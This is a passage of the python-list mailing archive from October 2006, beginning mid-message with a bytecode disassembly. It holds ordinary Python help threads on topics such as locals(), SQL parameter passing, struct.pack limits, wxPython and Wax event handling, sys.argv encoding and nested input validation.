             19 GET_ITER
        >>   20 FOR_ITER                16 (to 39)
             23 STORE_NAME               3 (a)
             26 LOAD_NAME                1 ($append0)
             29 LOAD_NAME                3 (a)
             32 CALL_FUNCTION            1
             35 POP_TOP
             36 JUMP_ABSOLUTE           20
        >>   39 DELETE_NAME              1 ($append0)
             42 POP_TOP
             43 LOAD_CONST               0 (None)
             46 RETURN_VALUE
>>> co2 = compile(src, 'lc2', 'exec')
>>> co2
<code object <module> at 0x40492770, file "lc2", line 1>
>>> dis.dis(co2)
  1           0 BUILD_LIST               0
              3 DUP_TOP
              4 STORE_NAME               0 (_[1])
              7 LOAD_NAME                1 (range)
             10 LOAD_CONST               0 (3)
             13 CALL_FUNCTION            1
             16 GET_ITER
        >>   17 FOR_ITER                13 (to 33)
             20 STORE_NAME               2 (a)
             23 LOAD_NAME                0 (_[1])
             26 LOAD_NAME                2 (a)
             29 LIST_APPEND
             30 JUMP_ABSOLUTE           17
        >>   33 DELETE_NAME              0 (_[1])
             36 POP_TOP
             37 LOAD_CONST               1 (None)
             40 RETURN_VALUE

Cordially,

s?bastien martini

-- 
http://seb.dbzteam.com



From onurb at xiludom.gro  Wed Oct 25 05:03:07 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 11:03:07 +0200
Subject: return same type of object
In-Reply-To: <mailman.1120.1161734424.11739.python-list@python.org>
References: <bqp%g.80658$073.43363@trnddc01>	<453e26bf$0$21879$426a74cc@news.free.fr>	<Ots%g.3442$hK.1804@trnddc02>	<453e8f03$0$31941$426a74cc@news.free.fr>
	<mailman.1120.1161734424.11739.python-list@python.org>
Message-ID: <453f284d$0$29358$426a74cc@news.free.fr>

Steve Holden wrote:
> Bruno Desthuilliers wrote:
>> David Isaac a ?crit :
> [...]
>>
>>> But Steve suggests going with the latter.
>>
>>
>> That's what I'd do too a priori.
>>
> Believe it or not, I wasn't at the priory when I wrote that.

Steve, if it's a pun, I'm afraid I just don't get it...

> Sorry.

<aol />

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From gherron at islandtraining.com  Thu Oct  5 23:07:29 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Thu, 05 Oct 2006 20:07:29 -0700
Subject: printing variables
In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
Message-ID: <4525C871.1090408@islandtraining.com>

s99999999s2003 at yahoo.com wrote:
> hi
> say i have variables like these
>
> var1 = "blah"
> var2 = "blahblah"
> var3 = "blahblahblah"
> var4 = "...."
> var5 = "..."..
>
> bcos all the variable names start with "var", is there a way to
> conveniently print those variables out...
> eg print var* ??
> i don't want to do :
>
> print var1, var2, var3, var4 ......etc...
> thanks
>
>   
If you really don't want an array (list, or tuple) of these (i.e.,
var[1], var[2], var[3], ...), then you can get at a dictionary that
contains all the local variables -- names and values -- like this:


>>> var1 = "blah"
>>> var2 = "blahblah"
>>> var3 = "blahblahblah"
>>> var4 = "...."
>>> locals()
{'var4': '....', 'var1': 'blah', 'var3': 'blahblahblah', 'var2':
'blahblah', '__builtins__': <module '__builtin__' (built-in)>,
'__file__': '/home/gherron/.startup.py', '__name__': '__main__',
'__doc__': None}

>>> for v,k in locals().items():
... if v.startswith('var'):
... print k
...
....
blah
blahblahblah
blahblah
>>>


Gary Herron



From me at privacy.net  Sun Oct 15 21:52:02 2006
From: me at privacy.net (Dan Sommers)
Date: Sun, 15 Oct 2006 21:52:02 -0400
Subject: IDE that uses an external editor?
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<mailman.546.1160948057.11739.python-list@python.org>
Message-ID: <m21wp9hvst.fsf@unique.fqdn>

On Sun, 15 Oct 2006 23:34:14 +0200,
"Ramon Diaz-Uriarte" <rdiaz02 at gmail.com> wrote:

> ... I guess, though, that this is very personal ...

Absolutely.

> ... and that I might be missing the point of Eclipse (and I don't do
> any Java programming).

The point of Eclipse is to lessen the burden imposed by Java.  :-/

(I can say that now that they've been making me write Java at work for a
few months.  Without starting a language flamewar, I can definitely
understand why the Java folks are so into their IDEs while us Python
folks can get along as well or better with grep and a decent REPL.)

Regards,
Dan

-- 
Dan Sommers
<http://www.tombstonezero.net/dan/>
"I wish people would die in alphabetical order." -- My wife, the genealogist


From juho.schultz at pp.inet.fi  Thu Oct  5 12:55:31 2006
From: juho.schultz at pp.inet.fi (Juho Schultz)
Date: 5 Oct 2006 09:55:31 -0700
Subject: user modules
In-Reply-To: <eg29os$6b4$1@enyo.uwa.edu.au>
References: <eg29os$6b4$1@enyo.uwa.edu.au>
Message-ID: <1160067331.530002.178270@h48g2000cwc.googlegroups.com>

Cameron Walsh wrote:
> Hi,
>
> I'm writing a python program to analyse and export volumetric data.  To
> make development and extension easier, and to make it more useful to the
> public when it is released (LGPL), I would like to enable users to place
> their own python files in a "user_extensions" directory.  These files
> would implement a common interface in order for the main program to be
> able to read them and execute the necessary code.
>
> My question is what is the best way of implementing this?
>
> I have investigated importing them as modules, but unless the user
> modifies the main program I cannot see how the main program can learn of
> the existence of specific modules.
>

One simple solution would be a shell script that adds user_extensions
(or whatever) to $PYTHONPATH and then starts your main program.



From tejovathi.p at gmail.com  Thu Oct 12 21:34:46 2006
From: tejovathi.p at gmail.com (Teja)
Date: 12 Oct 2006 18:34:46 -0700
Subject: COM and Threads
Message-ID: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>

I have an application which uses COM 's Dispatch to create a COM based
object. Now I need to upgrade the application to a threaded one. But
its giving an error that COM and threads wont go together. Specifically
its an attribute error at the point where COM object is invoked. Any
pointers please??????



From steve at holdenweb.com  Mon Oct 30 05:57:18 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 30 Oct 2006 10:57:18 +0000
Subject: [wxPython] wxFrame don't have Bind attribute ??
In-Reply-To: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
Message-ID: <ei4lob$9jc$1@sea.gmane.org>

Jia Lu wrote:
> Hi all
>  I am using wxPy 2.6.3.2-2, But when run an application with self.Bind
> , I got an error that there is no Bind.
> 
>  How can I fix it. thanx
> 
Perhaps you could show us the code that's failing, with the traceback - 
even better, use the knowledge you have already gained to write a 
*short* program that exhibits the same failure. Then post the code and 
the traceback.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From duncan.booth at invalid.invalid  Fri Oct  6 06:09:14 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 6 Oct 2006 10:09:14 GMT
Subject: Why do this?
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
	<mailman.1442.1160128745.10491.python-list@python.org>
Message-ID: <Xns98547173763B6duncanbooth@127.0.0.1>

Corrado Gioannini <gioco at nekhem.com> wrote:

> I often do things like this:
> 
>   sql = a_complex_select_sql % (id_foo, value_bar, ...)
>   cursor.execute(sql)
> 
> inside the body of a function (or a class method), where
> a_complex_select_sql is a string, containing several %s, %d ecc., 
> that is defined globally (or somewhere else in the class).
> 
I hope you have a good reason why you don't do:

  cursor.execute(a_complex_select_sql, (id_foo, value_bar, ...))

instead.


From russandheather at gmail.com  Wed Oct 11 12:28:23 2006
From: russandheather at gmail.com (Russell Warren)
Date: 11 Oct 2006 09:28:23 -0700
Subject: Funky file contents when os.rename or os.remove are interrupted
In-Reply-To: <452C78C8.9080305@v.loewis.de>
References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com>
	<452C78C8.9080305@v.loewis.de>
Message-ID: <1160584103.590584.67110@i42g2000cwa.googlegroups.com>

Thanks, guys... this has all been very useful information.

The machine this is happening on is already running NTFS.

The good news is that we just discovered/remembered that there is a
write-caching option (in device manager -> HDD -> properties ->
Policies tab) available in XP.  The note right beside the
write-cache-enable checkbox says:

"This setting enables write caching to improve disk performance, but a
power outage or equipment failure might result in data loss or
corruption."

Well waddya know...  write-caching was enabled on the machine.  It is
now disabled and we'll be power-cycle testing to see if it happens
again.

Regarding the comment on journaling file systems, I looked into it and
it looks like NTFS actually does do journaling to some extent, and some
effort was expended to make NTFS less susceptible to the exact problem
I'm experiencing.  I'm currently hopeful that the corrupted files we've
seen are entirely due to the mistake of having write-caching enabled
(the default).

> Then, Windows has nothing to do with it, either. It calls the routines
> of the file system driver rather directly.

It looks like that is not entirely true... this write-caching appears
to sit above the file system itself.  In any case, it is certainly not
a Python issue!

One last non-python question... a few things I read seemed to vaguely
indicate that the journaling feature of NTFS is an extension/option.
Wording could also indicate a simple feature, though.  Are there
options you can set on your file system (aside from block size and
partition)?!  I've certainly never heard of that, but want to be sure.
I definitely need this system to be as crash-proof as possible.

Thanks again,
Russ



From jstroud at mbi.ucla.edu  Mon Oct  9 19:46:30 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Mon, 09 Oct 2006 23:46:30 GMT
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
Message-ID: <qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>

James Stroud wrote:
> Hello All,
> 
> I'm looking for a program to do line-drawings in 3d, with output to 
> postscript or svg or pdf, etc. I would like to describe a scene with 
> certain 1-3d elements oriented in 3d space with dashed or colored lines 
> and filled or transparent surfaces (or maybe semitransparent).
> 
> I would then like to set the camera and have the scene depicted as a 
> line drawing (not ray-traced solid body, etc).
> 
> Does anyone know of a library to do this?


I'm really looking for a python library. The title of the post is kind 
of misleading.

James


-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From fredrik at pythonware.com  Wed Oct 25 11:21:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 17:21:03 +0200
Subject: 255 argument limit?
In-Reply-To: <016101c6f837$90060080$0d7d12ac@kearfott.com>
References: <016101c6f837$90060080$0d7d12ac@kearfott.com>
Message-ID: <ehnvcu$in9$1@sea.gmane.org>

Michael Yanowitz wrote:

>    It appears that there is a 255 argument limit in Python 2.4.3?
> 
>>>> packed_data = struct.pack("260i", /... snip .../)

ouch.  if you need to pass large amounts of data to struct.pack (or any 
other function), use a sequence:

import struct

data = range(1000000)

packed_data = struct.pack("1000000i", *data)

print len(packed_data) # prints 4000000

</F>



From Roberto.Bonvallet at cern.ch  Wed Oct 25 05:08:32 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Wed, 25 Oct 2006 09:08:32 +0000 (UTC)
Subject: dict problem
References: <mailman.1156.1161765994.11739.python-list@python.org>
	<ehn969$9gg$1@cernne03.cern.ch>
Message-ID: <ehn9ig$9gg$2@cernne03.cern.ch>

Roberto Bonvallet wrote:
> Alistair King wrote:
>> DS1v = {'C': 6, 'H': 10, 'O': 5}
> 
> Try DS1v['C'] instead of DS1v[C].

> updateDS1v(FCas, C, XDS)
> updateDS1v(FHas, H, XDS)
> updateDS1v(FOas, O, XDS)
> updateDS1v(FNas, N, XDS)
> updateDS1v(FSas, S, XDS)
> updateDS1v(FClas, Cl, XDS)
> updateDS1v(FBras, Br, XDS)
> updateDS1v(FZnas, Zn, XDS)
> print DS1v

Sorry, I hadn't seen this part.
Change C, H, O, ... with 'C', 'H', 'O', ...

-- 
Roberto Bonvallet


From johnjsal at NOSPAMgmail.com  Fri Oct 13 15:24:05 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 19:24:05 GMT
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.480.1160767168.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
	<mailman.480.1160767168.11739.python-list@python.org>
Message-ID: <pJRXg.109$1n3.2786@news.tufts.edu>

Theerasak Photha wrote:
> On 10/13/06, John Salerno <johnjsal at nospamgmail.com> wrote:
> 
>> Komodo, on the other hand, seems to have more of the features that the
>> personal version of Wing IDE lacks (call tips, class browser, etc.) but
>> the look of it seems very sparse for some reason.
> 
> But that's really a good thing.
> 
> -- Theerasak

Yeah, features are more important, and probably you can customize the 
look of the IDE anyway, so either one can look as full or as bare as you 
want (I assume). Perhaps I'll give the trials a try myself, just to see, 
although I know for sure I won't be buying the Pro version of Wing.


From me at jonbowlas.com  Mon Oct 16 11:52:21 2006
From: me at jonbowlas.com (Jonathan Bowlas)
Date: Mon, 16 Oct 2006 16:52:21 +0100
Subject: Convert StringIO to string
Message-ID: <028e01c6f13b$111e7110$fde92452@bowlas>

Your suggestion didn't seem to make any difference at all, it still returns

&lt;script type="text/javascript"&gt;
new rss_ticker(gdfgdfg, True, True)
&lt;/script&gt;

Any other ideas?

Jon


-----Original Message-----
From: python-list-bounces+info=jonbowlas.com at python.org
[mailto:python-list-bounces+info=jonbowlas.com at python.org] On Behalf Of Rob
Williscroft
Sent: 16 October 2006 14:37
To: python-list at python.org
Subject: Re: Convert StringIO to string

Jonathan Bowlas wrote in
news:mailman.562.1161001625.11739.python-list at python.org in
comp.lang.python: 

> Hi listers,
> 
> I've written this little script to generate some html but I cannot get 
> it to convert to a string so I can perform a replace() on the &gt;, 
> &lt; characters that get returned.
> 
> from StringIO import StringIO
> 
> def generator_file(rsspath,titleintro,tickeropt): 
>      scripter=StringIO()
>      scripter.write('<script type="text/javascript">\n')
>      scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath, 
> titleintro, tickeropt))
>      scripter.write('</script>\n')
>      return scripter.getvalue()
> 
> I tried adding this:
> 
> scripter = scripter.replace("&lt;", "<") scripter = 
> scripter.replace("&gt;", ">")
> 
> But obviously replace() isn't an attribute of StringIO so I guess I 
> need to convert it to a string first, can someone please advise how I 
> can do this?
> 

How strange, you are already "converting" to a string in the return line
(the call to the getvalue() method), so:

    	scripter = scripter.getvalue().replace("&lt;", "<")
    	scripter = scripter.replace("&gt;", ">")
    	return scripter

should do what you want.

Rob.
--
http://www.victim-prime.dsl.pipex.com/
--
http://mail.python.org/mailman/listinfo/python-list






From DustanGroups at gmail.com  Sat Oct 14 08:35:02 2006
From: DustanGroups at gmail.com (Dustan)
Date: 14 Oct 2006 05:35:02 -0700
Subject: Reverse string-formatting (maybe?)
Message-ID: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>

Is there any builtin function or module with a function similar to my
made-up, not-written deformat function as follows? I can't imagine it
would be too easy to write, but possible...

>>> template = 'I am %s, and he %s last %s.'
>>> values = ('coding', "coded', 'week')
>>> formatted = template % values
>>> formatted
'I am coding, and he coded last week.'
>>> deformat(formatted, template)
('coding', 'coded', 'week')

expanded (for better visual):
>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s last %s.')
('coding', 'coded', 'week')

It would return a tuple of strings, since it has no way of telling what
the original type of each item was.


Any input? I've looked through the documentation of the string module
and re module, did a search of the documentation and a search of this
group, and come up empty-handed.



From wuwei23 at gmail.com  Wed Oct 18 05:01:13 2006
From: wuwei23 at gmail.com (alex23)
Date: 18 Oct 2006 02:01:13 -0700
Subject: Wax: problem subclassing TextBox
Message-ID: <1161162072.705323.196030@m7g2000cwm.googlegroups.com>

Hey everyone,

I've just started looking at Wax and have hit a problem I can't
explain. I want an app to respond to every character input into a
TextBox.

Here's a simple, working example:

+++
from wax import *

class MainFrame(VerticalFrame):
  def Body(self):
    self.search = TextBox(self)
    self.search.OnChar = self.OnChar
    self.AddComponent(self.search, expand='h', border=5)

  def OnChar(self, event):
    print 'OnChar:', event.GetKeyCode()
    event.Skip()

app = Application(MainFrame)
app.Run()
+++

This displays a TextBox and entering "abcd" results in:

  OnChar: 97
  OnChar: 98
  OnChar: 99
  OnChar: 100

Rather than defining the OnChar hook on the main frame, though, it
makes more sense (to me) to be defined on the TextBox itself, so I
tried subclassing it as follows:

+++
class NewTextBox(TextBox):
  def OnChar(self, event):
    print 'on char', event.GetKeyCode()
    event.Skip()

class MainFrame(VerticalFrame):
  def Body(self):
    self.search = NewTextBox(self)
    self.AddComponent(self.search, expand='h', border=5)
+++

With the same input of 'abcd', I get the following:
  on char 97
  on char 97
  on char 98
  on char 98
  on char 99
  on char 99
  on char 100
  on char 100

As I understand it, event.Skip() should propagate the event up the
inheritance chain, but I don't see how that would result in
NewTextBox.OnChar being called _twice_ for each input. Stopping the
event there by removing the event.Skip() does result in only one 'on
char XX' line for each character, but also stops _all_ OnChar actions
for the TextBox - such as updating the value and displaying it - and I
really don't want to have to reimplement the full functionality just to
prevent this.

Is there something glaringly obvious that I'm doing wrong in the above
code?

Thanks for any help...

- alex23



From gherron at islandtraining.com  Mon Oct  2 01:29:22 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Sun, 01 Oct 2006 22:29:22 -0700
Subject: strange append
In-Reply-To: <Pine.LNX.4.63.0610021541460.23448@babylon.iacp.dvo.ru>
References: <Pine.LNX.4.63.0610021541460.23448@babylon.iacp.dvo.ru>
Message-ID: <4520A3B2.7020703@islandtraining.com>

E.Nurminski wrote:
> Hello to all good people
>
> I am new to the great Py so am quite puzzled by the following code
>
> ---------------
>
> res = []
> x = [ 1, 1 ]
> for i in xrange(0,5):
> 	res.append(x)
> 	x[1] = x[1] + 1
> 	print "x = ", x
> 	print "res = ", res
>
> ---------------
>
> Looks like it puts smth like reference to 'x' into 'res' list, instead of 
> value. But if I want a value should I use a different method or what ?
>
> Evgeni
>
> P.S. Could not easily find the issue in the manual/tutorial can you point 
> me out to smth relevant ?
>   
It's best, in Python, to consider *everything* to be a reference to an
object. Most actions will work with a reference to an existing object,
and creating a new reference to an object will almost never create a
copy of the object. If you *do* want to create an object, you may
consider using the copy module:

http://docs.python.org/lib/module-copy.html

(But I must point out, that in 12 years of programming Python, I've
hardly ever used that module.)

Gary Herron




From Leo.Kislov at gmail.com  Mon Oct 23 17:09:39 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 23 Oct 2006 14:09:39 -0700
Subject: encoding of sys.argv ?
References: <20061023130504.26823717@autremonde>
	<pan.2006.10.23.18.23.48.380428@gmx.net>
Message-ID: <1161637779.540394.15440@k70g2000cwa.googlegroups.com>


Marc 'BlackJack' Rintsch wrote:
> In <20061023130504.26823717 at autremonde>, Jiba wrote:
>
> > I am desperately searching for the encoding of sys.argv.
> >
> > I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem.
> > sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is
> > "utf-8". However, sys.argv is neither in ASCII (since I can pass French
> > accentuated character), nor in UTF-8. It seems to be encoded in
> > "latin-1", but why ?
>
> There is no way to determine the encoding.  The application that starts
> another and sets the arguments can use any encoding it likes and there's
> no standard way to find out which it was.

There is standard way: nl_langinfo function
<http://www.opengroup.org/onlinepubs/009695399/functions/nl_langinfo.html>
The code in pythonrun.c properly uses it find out the encoding. The
other question if Linux or *BSD distributions confirm to the standard.

  -- Leo.



From fredrik at pythonware.com  Fri Oct 20 01:23:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 07:23:40 +0200
Subject: Restricting import file lookup for pyd, dll, ...
In-Reply-To: <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com>
References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com>	<7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar>
	<61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com>
Message-ID: <eh9mgu$5nt$1@sea.gmane.org>

Bernard Lebel wrote:

> That's because I'm using Python through another application, via the
> pywin32 extensions. When that other application starts, it performs
> several thousands of file requests (we're talking 4,500, roughly) in
> the Python installation, locations where there are Python files, and
> in some other locations that don't make sense. This adds considerable
> time to the startup time of the application, we're talking between 2
> and 9 seconds.

a plain Python 2.4 interpreter can start, execute a command, and shut 
down in about 0.13 seconds on my machine.  2.5 does the same thing in 
0.10 seconds.

are you sure you're benchmarking *Python's* start up time, and not the 
time it takes to load all the modules used by your application, or the 
time it takes for "filemon" to print all those 4500 requests to the 
monitor window?

</F>



From alexandre.guimond at siemens.com  Thu Oct 19 05:23:50 2006
From: alexandre.guimond at siemens.com (Alexandre Guimond)
Date: 19 Oct 2006 02:23:50 -0700
Subject: libraries options not split in setup.cfg
Message-ID: <1161249830.452323.284180@f16g2000cwb.googlegroups.com>

Hi. I just noticed that the "libraries" options under the [build_ext]
section in setup.cfg doesn't seem to get expanded. In particular, in
distutils.command.build_ext.py of python 2.4. (line147):

        if type(self.libraries) is StringType:
            self.libraries = [self.libraries]

though library_dirs for example gets split on ';' (line 156)

        elif type(self.library_dirs) is StringType:
            self.library_dirs = string.split(self.library_dirs,
os.pathsep)

is this a bug or am i using the "libraries" option in a wrong way in my
setup.cfg

libraries = libgsl;libgslcblas

(btw, the above gets expanded on windows to "libgsl;libgslcblas.lib" on
the cmdline (not splitting on the ';' character).

thx for any help.



From codecraig at gmail.com  Mon Oct 16 10:40:01 2006
From: codecraig at gmail.com (abcd)
Date: 16 Oct 2006 07:40:01 -0700
Subject: Strange Behavior
In-Reply-To: <Xns985E9DBA6164FrtwfreenetREMOVEcouk@216.196.109.145>
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
	<Xns985E9DBA6164FrtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <1161009601.471687.279310@m7g2000cwm.googlegroups.com>

Rob Williscroft wrote:
> http://docs.python.org/ref/function.html#l2h-619


thanks.  weird that it works that way since they even state "This is
generally not what was intended."

oh well.



From hanumizzle at gmail.com  Fri Oct  6 00:37:20 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 00:37:20 -0400
Subject: How do I put % in a format sting?
In-Reply-To: <312cfe2b0610051330l36d16cf4q9a87fbcfacd56815@mail.gmail.com>
References: <mailman.1381.1160078805.10491.python-list@python.org>
	<VJdVg.78$1n3.1112@news.tufts.edu>
	<312cfe2b0610051330l36d16cf4q9a87fbcfacd56815@mail.gmail.com>
Message-ID: <463ff4860610052137w6a2a2a79gb7a6ae9039fe5b6f@mail.gmail.com>

On 10/5/06, Gregory Pi?ero <gregpinero at gmail.com> wrote:
> Thanks guys, putting it twice is all it took!

This rule holds true for a lot of string formatting conventions. (such
as in regexes)


-- Theerasak


From fredrik at pythonware.com  Fri Oct  6 16:19:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 22:19:35 +0200
Subject: Iterating over marshal
In-Reply-To: <1160163613.346243.128920@m73g2000cwd.googlegroups.com>
References: <1160163613.346243.128920@m73g2000cwd.googlegroups.com>
Message-ID: <eg6doo$9i7$1@sea.gmane.org>

Tim Lesher wrote:

> I'm using the marshal library to unmarshal a file containing one or
> more objects.  The canonical way seems to be:
> 
> objs = []
> while 1:
>     try:
>         objs.append(marshal.load(fobj))
>     except EOFError:
>         break

the canonical way to do this is to put the objects in a sequence 
container *before* marshalling them.

</F>



From noway at sorry.com  Wed Oct  4 17:18:25 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 21:18:25 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<eg0qu6$u7b$1@nnrp.ngi.it>
	<1159989157.734840.188430@m7g2000cwm.googlegroups.com>
Message-ID: <ByVUg.135576$_J1.897437@twister2.libero.it>

David Goodger wrote:

> Go back to the original announcement:
>
> """
> After evaluating the trackers on several points (issue creation,
> querying, etc.), we reached a tie between JIRA and Roundup in terms of
> pure tracker features.
> """
>
> JIRA gets a leg up because of the hosting and administration also
> being offered. But...
>
> """
> If enough people step forward we will notify python-dev that Roundup
> should be considered the recommendation of the committee and
> graciously
> turn down Atlassian's offer.
> """
>
> That is a perfectly reasonable offer. Put up or shut up.

You're cherry picking your quotes:

"""
In order for Roundup to be considered equivalent in terms of an overall
tracker package there needs to be a sufficient number of volunteer admins
(roughly 6 - 10 people) who can help set up and maintain the Roundup
installation.
"""

This is *NOT* a perfectly reasonable offer, because you do not see 6-10 people
stepping up at the same time for almost *anything* in the open source world.
-- 
Giovanni Bajo




From johnjsal at NOSPAMgmail.com  Fri Oct 20 10:57:36 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 14:57:36 GMT
Subject: proper format for this database table
In-Reply-To: <4537e232$0$3280$426a34cc@news.free.fr>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<4537e232$0$3280$426a34cc@news.free.fr>
Message-ID: <At5_g.122$1n3.3067@news.tufts.edu>

Bruno Desthuilliers wrote:
> John Salerno a ?crit :
>> Hi guys. I was wondering if someone could suggest some possible 
>> structures for an "Education" table in a database. 
> 
> Wrong newsgroup, then. comp.database.* is right next door...
> 

I know, I'm sorry. It's just that this newsgroup server doesn't have any 
database ngs on it. :(


From jeremy+complangpython at jeremysanders.net  Mon Oct 30 13:00:44 2006
From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders)
Date: Mon, 30 Oct 2006 18:00:44 +0000
Subject: Python 123 introduction
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
	<1162230329.413075.93370@b28g2000cwb.googlegroups.com>
Message-ID: <ei5ekc$6bk$1@gemini.csx.cam.ac.uk>

dakman at gmail.com wrote:

> This is great! A excellent tutorial for somone who has prior experience
> in programming and is starting out in python. My friend keeps wanting
> me to teach him python, I think this would be the perfect link for him.

I'm glad you think it is useful. It needs a bit of cleaning up as it assumes
things such as python being in /usr/local/bin... I may try to improve this
later.

Jeremy

-- 
Jeremy Sanders
http://www.jeremysanders.net/


From bretthoerner at gmail.com  Wed Oct 18 12:08:03 2006
From: bretthoerner at gmail.com (Brett Hoerner)
Date: 18 Oct 2006 09:08:03 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <1161182452.235096.127750@i42g2000cwa.googlegroups.com>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
	<mailman.687.1161179634.11739.python-list@python.org>
	<1161181585.245045.41680@b28g2000cwb.googlegroups.com>
	<1161182452.235096.127750@i42g2000cwa.googlegroups.com>
Message-ID: <1161187683.319678.174370@m7g2000cwm.googlegroups.com>

abcd wrote:
> ...

Are you sure you can't use VNC?  An animated GIF based on full-screen
grabs will be amazingly huge and have very low color quality at the
same time.

Installing VNC on Windows should take you about 30 seconds, honest.

Or is this for some sort of project where you can't use anything but
CPython software...?

Brett Hoerner



From jstroud at mbi.ucla.edu  Fri Oct  6 18:00:53 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 06 Oct 2006 22:00:53 GMT
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
Message-ID: <pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>

James Stroud wrote:
> sam wrote:
> 
>> hi all,
>>
>> i'm starting to put together a program to simulate the performance of
>> an investment portfolio in a monte carlo manner doing x thousand
>> iterations and extracting data from the results.
>>
>> i'm still in the early stages, and am trying to code something simple
>> and interactive to get the percentages of the portfolio in the five
>> different investment categories. i thought i'd get in with the error
>> handling early so if someone types in something wrong (like a word), or
>> the numbers don't add up to 100%, the error would be caught immediately
>> and the user sent back to the start of the loop. granting that there
>> may be better ways of doing this, if i decide that i do want to do it
>> like this (i.e. a single error requires all data to be re-entered, not
>> unreasonable for only five items), is this a good way of doing it or a
>> confusing way of doing it from the perspective of readability and
>> maintenance:
>>
>> while True:
>>
>>     cash, bond, blue, tech, dev = 0,0,0,0,0
>>     check=False
>>
>>     try:
>>         cash=input('Please enter a cash percentage for the portfolio: ')
>>     except NameError:
>>         print 'That is not a number. Please start again and remember 
>> to enter
>> integers.'
>>     else:
>>         try:
>>             bond=input('Please enter a bond portfolio for the 
>> portfolio: ')
>>
>>         except NameError:
>>             print 'That is not a number. Please start again and 
>> remember to
>> enter integers.'
>>         else:
>>             try:
>>                 blue=input('Please enter a blue-chip percentage for 
>> the portfolio:
>> ')
>>             except NameError:
>>                 print 'That is not a number. Please start again and 
>> remember to
>> enter integers.'
>>             else:
>>                 try:
>>                     tech=input('Please enter a tech stocks percentage 
>> for the
>> portfolio: ')
>>                 except NameError:
>>                     print 'That is not a number. Please start again 
>> and remember to
>> enter integers.'
>>                 else:
>>                     try:
>>                         dev=input('Please enter a developing countries 
>> index for the
>> portfolio: ')
>>                         check=True
>>                     except NameError:
>>                         print 'That is not a number. Please start 
>> again and remember to
>> enter integers.'
>>
>>     if cash+bond+blue+tech+dev==100:
>>         break
>>     if cash+bond+blue+tech+dev!=100 and check!= False:
>>         print 'Those numbers do not sum to 100. Please start again.'
>>
>>
>>
>> i know it's a bit verbose, but it was the nested try clauses i was
>> really wondering about. is the code immediate legible to experienced
>> python users? or does it look like gibberish at first?
>>
>> just hoped for some fresh eyes on it.
>>
>> thanks,
>>
>> sam
>>
>> PS making check=True just saves the code from printing 'those numbers
>> don't sum to 100' if they haven't all been entered, which looks kind of
>> silly.
